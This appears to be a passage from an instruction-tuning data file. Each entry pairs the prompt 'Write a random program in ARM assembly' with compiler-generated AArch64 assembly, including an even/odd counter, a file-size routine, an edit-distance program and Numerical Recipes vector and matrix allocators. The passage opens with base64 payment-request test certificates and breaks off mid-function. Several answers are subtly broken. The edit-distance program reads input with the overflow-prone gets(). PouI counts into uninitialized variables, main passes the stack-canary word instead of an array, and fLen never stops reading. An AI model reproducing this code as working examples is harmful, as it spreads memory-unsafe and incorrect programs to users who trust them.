.ascii "Sv9GQ5PrFLLsOFv7L1tpzXHh2dOBIW92X2yFRW2s39q+Q21yvN+N8uoKdqXh"
.ascii "zRA+dDoXh3cavaVeHX1G+IrlAgMBAAGjEDAOMAwGA1UdEwQFMAMBAf8wDQYJ"
.ascii "KoZIhvcNAQELBQADgYEASTwg84cX+1UhOG9sejFV3m34QuI1hPZ+qhqVJlRY"
.ascii "Utego8Wng1BburDSwqVAv4ch2wi3c2s4e8J7AXyLtzSbSQG4RN0oZi0mR8Et"
.ascii "TTN+Mix/hBIk79dMZg85+I29uFA6Zj2d9oAhQv2qkHhc6tcaheNvkQRlCyH6"
.ascii "8k3iF1Fqf+4KiAQwggIEMIIBbaADAgECAgECMA0GCSqGSIb3DQEBCwUAMD8x"
.ascii "FDASBgNVBAMMC3Rlc3RjYTEub3JnMScwJQYDVQQKDB5QYXltZW50IFJlcXVl"
.ascii "c3QgSW50ZXJtZWRpYXRlIDEwHhcNMTMwMjIzMjI0MjI5WhcNMjMwMjIxMjI0"
.ascii "MjI5WjA/MRQwEgYDVQQDDAt0ZXN0Y2EyLm9yZzEnMCUGA1UECgweUGF5bWVu"
.ascii "dCBSZXF1ZXN0IEludGVybWVkaWF0ZSAyMIGfMA0GCSqGSIb3DQEBAQUAA4GN"
.ascii "ADCBiQKBgQDaV8zhfyQuSf/f+fauMfgs3g/RnWy9yxxUkvQneQQPH3uZzCyk"
.ascii "3A6q72ipTtwNqiibG9455L9A7SaUjGtnpUz0NKT/VWUdqbfCl1PqXjEZbDob"
.ascii "bAQ5hxLGOTyLRQhLIcgeq2/BnmeCqHsC4md04nUp+nBo1HwKyygvK+9sMbCp"
.ascii "/wIDAQABoxAwDjAMBgNVHRMEBTADAQH/MA0GCSqGSIb3DQEBCwUAA4GBACvY"
.ascii "yE+PPmWFkbjyRu9LAt8DcrtyYYLRClKSg6tVvutwukLG2l//kDOohYkJtgTq"
.ascii "r6LnCIIIwYdXN+4wxugmw4cnPIZmP6kovxjhhVM95okilor1zniTAo3RN7JD"
.ascii "IfTGNgxLdGu1btt7DOFL4zTbeSJMb8M1JpPftehH+x/VLyuUCuoDMIIB5jCC"
.ascii "AU+gAwIBAgIBBTANBgkqhkiG9w0BAQsFADAhMR8wHQYDVQQDExZQYXltZW50"
.ascii "UmVxdWVzdCBUZXN0IENBMB4XDTEzMDIyMzIyNDIyOFoXDTIzMDIyMTIyNDIy"
.ascii "OFowPzEUMBIGA1UEAwwLdGVzdGNhMS5vcmcxJzAlBgNVBAoMHlBheW1lbnQg"
.ascii "UmVxdWVzdCBJbnRlcm1lZGlhdGUgMTCBnzANBgkqhkiG9w0BAQEFAAOBjQAw"
.ascii "gYkCgYEAo5Vy9H3nA/OOkF5Ap89yfVNSiTay/LYCaB0eALpcU690U75O9Q3w"
.ascii "2M+2AN8wpbbHsJHZMIjEeBRoQfjlYXW1ucQTxWKyT+liu0D25mGXX27CBXBd"
.ascii "4iXTxVII/iX+u3lcjORjoHOBy7QgeIDIIS9y0vYu8eArpjh7m4thrVgIRtMC"
.ascii "AwEAAaMQMA4wDAYDVR0T"
.ascii "BAUwAwEB/zANBgkqhkiG9w0BAQsFAAOBgQB9LKcVJK9sjASNzpQlpUp7nCiw"
.ascii "5FSjVY+XMRIKK/kavzlKjZ+InsmmyRVGjDoZi9GrqG9PVHgLBxi2VtVjmokZ"
.ascii "oNPqao3OfhqORAubC+JR/JLepM7aDaxDdTHVhSUk4lgNAvi26dGY7nZMsnHl"
.ascii "PQ2tPp/HvRRiMq1oDjly"
.string "lc8VTCI1Eh8IsNsGEhl2qRSVYIoDyPul6RMbTSzv4tVhVfGZqIisGLLhxYsFKgxVbml0VGVzdEZvdXIqgAEBE1PP93Tkpif35F+dYmXn9kLA/1djcPjCs2o2rwRMM4Uk356O5dguHXQjsfdR58qZQS9CS5DAtRUf0R8+43/wijO/hb49VNaNXmY+/cPHMkahP2aV3tZiFAyZblLik9A7ZvF+UsjeFQiHB5wzWQvbqk5wQ4yabHIXoYv/E0q+eQ=="
.section .data.rel.local
.align 3
.type paymentrequest4_BASE64, %object
.size paymentrequest4_BASE64, 8
paymentrequest4_BASE64:
.xword .LC4
.global paymentrequest5_BASE64
.section .rodata
.align 3
.LC5:
.ascii "Egt4NTA5K3NoYTI1NhrxAwruAzCCAeowggFToAMCAQICAQEwDQYJKoZIhvcN"
.ascii "AQELBQAwITEfMB0GA1UEAxMWUGF5bWVudFJlcXVlc3QgVGVzdCBDQTAeFw0x"
.ascii "MzA0MTkxNzIwMDZaFw0yMzA0MTcxNzIwMDZaMEMxGTAXBgNVBAMMEHRlc3Rt"
.ascii "ZXJjaGFudC5vcmcxJjAkBgNVBAoMHVBheW1lbnQgUmVxdWVzdCBUZXN0IE1l"
.ascii "cmNoYW50MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDhV6Yn47aEEmbl"
.ascii "50YLvXoqGEJA51I/40wrZ6VQGdXYaRqYktagrWDlgYY9h0JQ1bQhm8HgW7ju"
.ascii "0R4NaDTXUqxg4HjprF0z3Mfm/6mmebkLOOptfkVD7ceAteNI7cyuqWGIAZA7"
.ascii "D9mV97mXoCAtTlBUycvkmoiClCCSh0EpF/UTaQIDAQABoxAwDjAMBgNVHRME"
.ascii "BTADAQH/MA0GCSqGSIb3DQEBCwUAA4GBAGIRwW7I0QvLga+RnJoJSZNZQbtu"
.ascii "4rQW3xmoz8WfZMBYXX3QBYg5ftycbdK+/IbPqozfjGW2AS6DNArvpveSPDTK"
.ascii "9+GJBNo1paiNtVqwXkC3Ddscv5AIms1eZGiIOQNCmUvdLkpoXo48WAer3EGs"
.ascii "Z3B15GyNEELc0q9W"
.string "5yUebba1IjUSHwiw2wYSGXapFJVgigPI+6XpExtNLO/i1WFV8ZmoiKwYuPvFiwUqDFVuaXRUZXN0Rml2ZSqAAXdsMgdGssymvca1S/1KeM3n8Ydi2fi1JUzAAr59xPvNJRUeqCLP9upHn5z7br3P12Oz9A205/4wL4ClPRPVnOHgij0bEg+y0tGESqmF1rfOfXDszlo2U92wCxS07kq79YAZJ1ZoXYh860/Q4wvc7lfiTe+dXBzPKAKhMy91yETY"
.section .data.rel.local
.align 3
.type paymentrequest5_BASE64, %object
.size paymentrequest5_BASE64, 8
paymentrequest5_BASE64:
.xword .LC5
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.section .rodata
.align 3
.LC0:
.string "Qntdd de Pares: %d"
.align 3
.LC1:
.string "Qntdd de Impares: %d"
.text
.align 2
.global PouI
.type PouI, %function
PouI:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
str wzr, [sp, 44]
b .L2
.L5:
ldrsw x0, [sp, 44]
lsl x0, x0, 2
ldr x1, [sp, 24]
add x0, x1, x0
ldr w0, [x0]
and w0, w0, 1
cmp w0, 0
bne .L3
ldr w0, [sp, 36]
add w0, w0, 1
str w0, [sp, 36]
b .L4
.L3:
ldr w0, [sp, 40]
add w0, w0, 1
str w0, [sp, 40]
.L4:
ldr w0, [sp, 44]
add w0, w0, 1
str w0, [sp, 44]
.L2:
ldr w0, [sp, 44]
cmp w0, 9
ble .L5
ldr w1, [sp, 36]
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl printf
ldr w1, [sp, 40]
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl printf
nop
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size PouI, .-PouI
.section .rodata
.align 3
.LC2:
.string "Elemento %d: "
.align 3
.LC3:
.string "%d"
.text
.align 2
.global main
.type main, %function
main:
.LFB1:
.cfi_startproc
stp x29, x30, [sp, -80]!
.cfi_def_cfa_offset 80
.cfi_offset 29, -80
.cfi_offset 30, -72
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 72]
mov x1, 0
str wzr, [sp, 28]
b .L7
.L8:
ldr w0, [sp, 28]
add w0, w0, 1
mov w1, w0
adrp x0, .LC2
add x0, x0, :lo12:.LC2
bl printf
add x1, sp, 32
ldrsw x0, [sp, 28]
lsl x0, x0, 2
add x0, x1, x0
mov x1, x0
adrp x0, .LC3
add x0, x0, :lo12:.LC3
bl __isoc99_scanf
ldr w0, [sp, 28]
add w0, w0, 1
str w0, [sp, 28]
.L7:
ldr w0, [sp, 28]
cmp w0, 9
ble .L8
ldr w0, [sp, 72]
sxtw x0, w0
bl PouI
mov w0, 0
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 72]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L10
bl __stack_chk_fail
.L10:
mov w0, w1
ldp x29, x30, [sp], 80
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE1:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.section .rodata
.align 3
.LC0:
.string "file.txt"
.align 3
.LC1:
.string "file size is %d\n\n"
.text
.align 2
.global main
.type main, %function
main:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl fLen2
str w0, [sp, 28]
ldr w1, [sp, 28]
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl printf
mov w0, 0
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size main, .-main
.section .rodata
.align 3
.LC2:
.string "r"
.align 3
.LC3:
.string "Error opening file"
.text
.align 2
.global fLen2
.type fLen2, %function
fLen2:
.LFB1:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
str wzr, [sp, 36]
strb wzr, [sp, 35]
adrp x0, .LC2
add x1, x0, :lo12:.LC2
ldr x0, [sp, 24]
bl fopen
str x0, [sp, 40]
ldr x0, [sp, 40]
cmp x0, 0
bne .L4
adrp x0, .LC3
add x0, x0, :lo12:.LC3
bl perror
mov w0, -1
b .L5
.L4:
mov w2, 2
mov x1, 0
ldr x0, [sp, 40]
bl fseek
ldr x0, [sp, 40]
bl ftell
str w0, [sp, 36]
ldr x0, [sp, 40]
bl fclose
ldr w0, [sp, 36]
.L5:
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE1:
.size fLen2, .-fLen2
.align 2
.global fLen
.type fLen, %function
fLen:
.LFB2:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
str wzr, [sp, 36]
strb wzr, [sp, 35]
adrp x0, .LC2
add x1, x0, :lo12:.LC2
ldr x0, [sp, 24]
bl fopen
str x0, [sp, 40]
ldr x0, [sp, 40]
cmp x0, 0
bne .L7
adrp x0, .LC3
add x0, x0, :lo12:.LC3
bl perror
mov w0, -1
b .L9
.L7:
ldr x0, [sp, 40]
bl fgetc
strb w0, [sp, 35]
ldr w0, [sp, 36]
add w0, w0, 1
str w0, [sp, 36]
b .L7
.L9:
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE2:
.size fLen, .-fLen
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.align 2
.global main
.type main, %function
main:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 40]
mov x1, 0
str wzr, [sp, 28]
add x0, sp, 28
str x0, [sp, 32]
ldr x0, [sp, 32]
ldr w0, [x0]
cmp w0, 0
beq .L2
mov w0, 1
b .L4
.L2:
mov w0, 0
.L4:
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 40]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L5
bl __stack_chk_fail
.L5:
mov w0, w1
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.section .rodata
.align 3
.LC0:
.string ""
.align 3
.LC1:
.string "%d"
.align 3
.LC2:
.string "%d\n"
.text
.align 2
.global main
.type main, %function
main:
.LFB6:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 40]
mov x1, 0
adrp x0, .LC0
add x1, x0, :lo12:.LC0
mov w0, 6
bl setlocale
str wzr, [sp, 36]
add x0, sp, 24
mov x1, x0
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl __isoc99_scanf
str wzr, [sp, 32]
b .L2
.L5:
add x0, sp, 28
mov x1, x0
adrp x0, .LC1
add x0, x0, :lo12:.LC1
bl __isoc99_scanf
ldr w0, [sp, 28]
cmp w0, 1
bne .L8
ldr w0, [sp, 36]
add w0, w0, 1
str w0, [sp, 36]
b .L4
.L8:
nop
.L4:
ldr w0, [sp, 32]
add w0, w0, 1
str w0, [sp, 32]
.L2:
ldr w0, [sp, 24]
ldr w1, [sp, 32]
cmp w1, w0
blt .L5
ldr w1, [sp, 36]
adrp x0, .LC2
add x0, x0, :lo12:.LC2
bl printf
mov w0, 0
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 40]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L7
bl __stack_chk_fail
.L7:
mov w0, w1
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE6:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.global str1
.bss
.align 3
.type str1, %object
.size str1, 1002
str1:
.zero 1002
.global str2
.align 3
.type str2, %object
.size str2, 1002
str2:
.zero 1002
.global dp
.data
.align 3
.type dp, %object
.size dp, 4016016
dp:
.word 2147483647
.zero 4004
.zero 4012008
.section .rodata
.align 3
.LC0:
.string "%d\n"
.text
.align 2
.global main
.type main, %function
main:
.LFB0:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
adrp x0, str1
add x0, x0, :lo12:str1
bl gets
adrp x0, str2
add x0, x0, :lo12:str2
bl gets
adrp x0, str1
add x0, x0, :lo12:str1
bl strlen
str w0, [sp, 28]
adrp x0, str2
add x0, x0, :lo12:str2
bl strlen
str w0, [sp, 32]
str wzr, [sp, 20]
b .L2
.L3:
adrp x0, dp
add x1, x0, :lo12:dp
ldrsw x2, [sp, 20]
mov x0, 4008
mul x0, x2, x0
add x0, x1, x0
ldr w1, [sp, 20]
str w1, [x0]
ldr w0, [sp, 20]
add w0, w0, 1
str w0, [sp, 20]
.L2:
ldr w1, [sp, 20]
ldr w0, [sp, 28]
cmp w1, w0
ble .L3
str wzr, [sp, 24]
b .L4
.L5:
adrp x0, dp
add x0, x0, :lo12:dp
ldrsw x1, [sp, 24]
ldr w2, [sp, 24]
str w2, [x0, x1, lsl 2]
ldr w0, [sp, 24]
add w0, w0, 1
str w0, [sp, 24]
.L4:
ldr w1, [sp, 24]
ldr w0, [sp, 32]
cmp w1, w0
ble .L5
str wzr, [sp, 20]
b .L6
.L13:
str wzr, [sp, 24]
b .L7
.L12:
adrp x0, str1
add x1, x0, :lo12:str1
ldrsw x0, [sp, 20]
ldrb w1, [x1, x0]
adrp x0, str2
add x2, x0, :lo12:str2
ldrsw x0, [sp, 24]
ldrb w0, [x2, x0]
cmp w1, w0
bne .L8
ldr w0, [sp, 20]
add w4, w0, 1
ldr w0, [sp, 24]
add w5, w0, 1
adrp x0, dp
add x0, x0, :lo12:dp
ldrsw x1, [sp, 24]
ldrsw x3, [sp, 20]
mov x2, 1002
mul x2, x3, x2
add x1, x2, x1
ldr w2, [x0, x1, lsl 2]
adrp x0, dp
add x0, x0, :lo12:dp
sxtw x1, w5
sxtw x4, w4
mov x3, 1002
mul x3, x4, x3
add x1, x3, x1
str w2, [x0, x1, lsl 2]
b .L9
.L8:
ldr w0, [sp, 20]
add w2, w0, 1
adrp x0, dp
add x0, x0, :lo12:dp
ldrsw x1, [sp, 24]
sxtw x3, w2
mov x2, 1002
mul x2, x3, x2
add x1, x2, x1
ldr w0, [x0, x1, lsl 2]
add w0, w0, 1
str w0, [sp, 36]
ldr w0, [sp, 24]
add w1, w0, 1
adrp x0, dp
add x0, x0, :lo12:dp
sxtw x1, w1
ldrsw x3, [sp, 20]
mov x2, 1002
mul x2, x3, x2
add x1, x2, x1
ldr w0, [x0, x1, lsl 2]
add w0, w0, 1
str w0, [sp, 40]
adrp x0, dp
add x0, x0, :lo12:dp
ldrsw x1, [sp, 24]
ldrsw x3, [sp, 20]
mov x2, 1002
mul x2, x3, x2
add x1, x2, x1
ldr w0, [x0, x1, lsl 2]
add w0, w0, 1
str w0, [sp, 44]
ldr w1, [sp, 36]
ldr w0, [sp, 40]
cmp w1, w0
ble .L10
ldr w0, [sp, 44]
ldr w2, [sp, 40]
ldr w1, [sp, 40]
cmp w2, w0
csel w0, w1, w0, le
b .L11
.L10:
ldr w0, [sp, 44]
ldr w2, [sp, 36]
ldr w1, [sp, 36]
cmp w2, w0
csel w0, w1, w0, le
.L11:
ldr w1, [sp, 20]
add w3, w1, 1
ldr w1, [sp, 24]
add w2, w1, 1
adrp x1, dp
add x1, x1, :lo12:dp
sxtw x2, w2
sxtw x4, w3
mov x3, 1002
mul x3, x4, x3
add x2, x3, x2
str w0, [x1, x2, lsl 2]
.L9:
ldr w0, [sp, 24]
add w0, w0, 1
str w0, [sp, 24]
.L7:
ldr w1, [sp, 24]
ldr w0, [sp, 32]
cmp w1, w0
blt .L12
ldr w0, [sp, 20]
add w0, w0, 1
str w0, [sp, 20]
.L6:
ldr w1, [sp, 20]
ldr w0, [sp, 28]
cmp w1, w0
blt .L13
adrp x0, dp
add x0, x0, :lo12:dp
ldrsw x1, [sp, 32]
ldrsw x3, [sp, 28]
mov x2, 1002
mul x2, x3, x2
add x1, x2, x1
ldr w0, [x0, x1, lsl 2]
mov w1, w0
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl printf
mov w0, 0
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE0:
.size main, .-main
``` |
### Human: Write a random program in ARM assembly### Assistant: ``` .text
.section .rodata
.align 3
.LC0:
.string "Numerical Recipes run-time error...\n"
.align 3
.LC1:
.string "%s\n"
.align 3
.LC2:
.string "...now exiting to system...\n"
.text
.align 2
.global nrerror
.type nrerror, %function
nrerror:
.LFB6:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
str x0, [sp, 24]
adrp x0, :got:stderr
ldr x0, [x0, #:got_lo12:stderr]
ldr x0, [x0]
mov x3, x0
mov x2, 36
mov x1, 1
adrp x0, .LC0
add x0, x0, :lo12:.LC0
bl fwrite
adrp x0, :got:stderr
ldr x0, [x0, #:got_lo12:stderr]
ldr x3, [x0]
ldr x2, [sp, 24]
adrp x0, .LC1
add x1, x0, :lo12:.LC1
mov x0, x3
bl fprintf
adrp x0, :got:stderr
ldr x0, [x0, #:got_lo12:stderr]
ldr x0, [x0]
mov x3, x0
mov x2, 28
mov x1, 1
adrp x0, .LC2
add x0, x0, :lo12:.LC2
bl fwrite
mov w0, 1
bl exit
.cfi_endproc
.LFE6:
.size nrerror, .-nrerror
.section .rodata
.align 3
.LC3:
.string "allocation failure in vector()"
.text
.align 2
.global vector
.type vector, %function
vector:
.LFB7:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
str x1, [sp, 16]
ldr x1, [sp, 16]
ldr x0, [sp, 24]
sub x0, x1, x0
add x0, x0, 2
lsl x0, x0, 2
bl malloc
str x0, [sp, 40]
ldr x0, [sp, 40]
cmp x0, 0
bne .L3
adrp x0, .LC3
add x0, x0, :lo12:.LC3
bl nrerror
.L3:
ldr x0, [sp, 24]
mov x1, 1
sub x0, x1, x0
lsl x0, x0, 2
ldr x1, [sp, 40]
add x0, x1, x0
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE7:
.size vector, .-vector
.section .rodata
.align 3
.LC4:
.string "allocation failure in ivector()"
.text
.align 2
.global ivector
.type ivector, %function
ivector:
.LFB8:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
str x1, [sp, 16]
ldr x1, [sp, 16]
ldr x0, [sp, 24]
sub x0, x1, x0
add x0, x0, 2
lsl x0, x0, 2
bl malloc
str x0, [sp, 40]
ldr x0, [sp, 40]
cmp x0, 0
bne .L6
adrp x0, .LC4
add x0, x0, :lo12:.LC4
bl nrerror
.L6:
ldr x0, [sp, 24]
mov x1, 1
sub x0, x1, x0
lsl x0, x0, 2
ldr x1, [sp, 40]
add x0, x1, x0
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE8:
.size ivector, .-ivector
.section .rodata
.align 3
.LC5:
.string "allocation failure in cvector()"
.text
.align 2
.global cvector
.type cvector, %function
cvector:
.LFB9:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
str x1, [sp, 16]
ldr x1, [sp, 16]
ldr x0, [sp, 24]
sub x0, x1, x0
add x0, x0, 2
bl malloc
str x0, [sp, 40]
ldr x0, [sp, 40]
cmp x0, 0
bne .L9
adrp x0, .LC5
add x0, x0, :lo12:.LC5
bl nrerror
.L9:
ldr x0, [sp, 24]
mov x1, 1
sub x0, x1, x0
ldr x1, [sp, 40]
add x0, x1, x0
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE9:
.size cvector, .-cvector
.section .rodata
.align 3
.LC6:
.string "allocation failure in lvector()"
.text
.align 2
.global lvector
.type lvector, %function
lvector:
.LFB10:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
str x1, [sp, 16]
ldr x1, [sp, 16]
ldr x0, [sp, 24]
sub x0, x1, x0
add x0, x0, 2
lsl x0, x0, 3
bl malloc
str x0, [sp, 40]
ldr x0, [sp, 40]
cmp x0, 0
bne .L12
adrp x0, .LC6
add x0, x0, :lo12:.LC6
bl nrerror
.L12:
ldr x0, [sp, 24]
mov x1, 1
sub x0, x1, x0
lsl x0, x0, 3
ldr x1, [sp, 40]
add x0, x1, x0
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE10:
.size lvector, .-lvector
.section .rodata
.align 3
.LC7:
.string "allocation failure in dvector()"
.text
.align 2
.global dvector
.type dvector, %function
dvector:
.LFB11:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
str x1, [sp, 16]
ldr x1, [sp, 16]
ldr x0, [sp, 24]
sub x0, x1, x0
add x0, x0, 2
lsl x0, x0, 3
bl malloc
str x0, [sp, 40]
ldr x0, [sp, 40]
cmp x0, 0
bne .L15
adrp x0, .LC7
add x0, x0, :lo12:.LC7
bl nrerror
.L15:
ldr x0, [sp, 24]
mov x1, 1
sub x0, x1, x0
lsl x0, x0, 3
ldr x1, [sp, 40]
add x0, x1, x0
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE11:
.size dvector, .-dvector
.section .rodata
.align 3
.LC8:
.string "allocation failure 1 in matrix()"
.align 3
.LC9:
.string "allocation failure 2 in matrix()"
.text
.align 2
.global matrix
.type matrix, %function
matrix:
.LFB12:
.cfi_startproc
stp x29, x30, [sp, -96]!
.cfi_def_cfa_offset 96
.cfi_offset 29, -96
.cfi_offset 30, -88
mov x29, sp
str x19, [sp, 16]
.cfi_offset 19, -80
str x0, [sp, 56]
str x1, [sp, 48]
str x2, [sp, 40]
str x3, [sp, 32]
ldr x1, [sp, 48]
ldr x0, [sp, 56]
sub x0, x1, x0
add x0, x0, 1
str x0, [sp, 72]
ldr x1, [sp, 32]
ldr x0, [sp, 40]
sub x0, x1, x0
add x0, x0, 1
str x0, [sp, 80]
ldr x0, [sp, 72]
add x0, x0, 1
lsl x0, x0, 3
bl malloc
str x0, [sp, 88]
ldr x0, [sp, 88]
cmp x0, 0
bne .L18
adrp x0, .LC8
add x0, x0, :lo12:.LC8
bl nrerror
.L18:
ldr x0, [sp, 88]
add x0, x0, 8
str x0, [sp, 88]
ldr x0, [sp, 56]
lsl x0, x0, 3
neg x0, x0
ldr x1, [sp, 88]
add x0, x1, x0
str x0, [sp, 88]
ldr x1, [sp, 72]
ldr x0, [sp, 80]
mul x0, x1, x0
add x0, x0, 1
lsl x2, x0, 2
ldr x0, [sp, 56]
lsl x0, x0, 3
ldr x1, [sp, 88]
add x19, x1, x0
mov x0, x2
bl malloc
str x0, [x19]
ldr x0, [sp, 56]
lsl x0, x0, 3
ldr x1, [sp, 88]
add x0, x1, x0
ldr x0, [x0]
cmp x0, 0
bne .L19
adrp x0, .LC9
add x0, x0, :lo12:.LC9
bl nrerror
.L19:
ldr x0, [sp, 56]
lsl x0, x0, 3
ldr x1, [sp, 88]
add x0, x1, x0
ldr x1, [x0]
ldr x0, [sp, 56]
lsl x0, x0, 3
ldr x2, [sp, 88]
add x0, x2, x0
add x1, x1, 4
str x1, [x0]
ldr x0, [sp, 56]
lsl x0, x0, 3
ldr x1, [sp, 88]
add x0, x1, x0
ldr x2, [x0]
ldr x0, [sp, 40]
lsl x0, x0, 2
neg x1, x0
ldr x0, [sp, 56]
lsl x0, x0, 3
ldr x3, [sp, 88]
add x0, x3, x0
add x1, x2, x1
str x1, [x0]
ldr x0, [sp, 56]
add x0, x0, 1
str x0, [sp, 64]
b .L20
.L21:
ldr x0, [sp, 64]
lsl x0, x0, 3
sub x0, x0, #8
ldr x1, [sp, 88]
add x0, x1, x0
ldr x2, [x0]
ldr x0, [sp, 80]
lsl x1, x0, 2
ldr x0, [sp, 64]
lsl x0, x0, 3
ldr x3, [sp, 88]
add x0, x3, x0
add x1, x2, x1
str x1, [x0]
ldr x0, [sp, 64]
add x0, x0, 1
str x0, [sp, 64]
.L20:
ldr x1, [sp, 64]
ldr x0, [sp, 48]
cmp x1, x0
ble .L21
ldr x0, [sp, 88]
ldr x19, [sp, 16]
ldp x29, x30, [sp], 96
.cfi_restore 30
.cfi_restore 29
.cfi_restore 19
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE12:
.size matrix, .-matrix
.align 2
.global dmatrix
.type dmatrix, %function
dmatrix:
.LFB13:
.cfi_startproc
stp x29, x30, [sp, -96]!
.cfi_def_cfa_offset 96
.cfi_offset 29, -96
.cfi_offset 30, -88
mov x29, sp
str x19, [sp, 16]
.cfi_offset 19, -80
str x0, [sp, 56]
str x1, [sp, 48]
str x2, [sp, 40]
str x3, [sp, 32]
ldr x1, [sp, 48]
ldr x0, [sp, 56]
sub x0, x1, x0
add x0, x0, 1
str x0, [sp, 72]
ldr x1, [sp, 32]
ldr x0, [sp, 40]
sub x0, x1, x0
add x0, x0, 1
str x0, [sp, 80]
ldr x0, [sp, 72]
add x0, x0, 1
lsl x0, x0, 3
bl malloc
str x0, [sp, 88]
ldr x0, [sp, 88]
cmp x0, 0
bne .L24
adrp x0, .LC8
add x0, x0, :lo12:.LC8
bl nrerror
.L24:
ldr x0, [sp, 88]
add x0, x0, 8
str x0, [sp, 88]
ldr x0, [sp, 56]
lsl x0, x0, 3
neg x0, x0
ldr x1, [sp, 88]
add x0, x1, x0
str x0, [sp, 88]
ldr x1, [sp, 72]
ldr x0, [sp, 80]
mul x0, x1, x0
add x0, x0, 1
lsl x2, x0, 3
ldr x0, [sp, 56]
lsl x0, x0, 3
ldr x1, [sp, 88]
add x19, x1, x0
mov x0, x2
bl malloc
str x0, [x19]
ldr x0, [sp, 56]
lsl x0, x0, 3
ldr x1, [sp, 88]
add x0, x1, x0
ldr x0, [x0]
cmp x0, 0
bne .L25
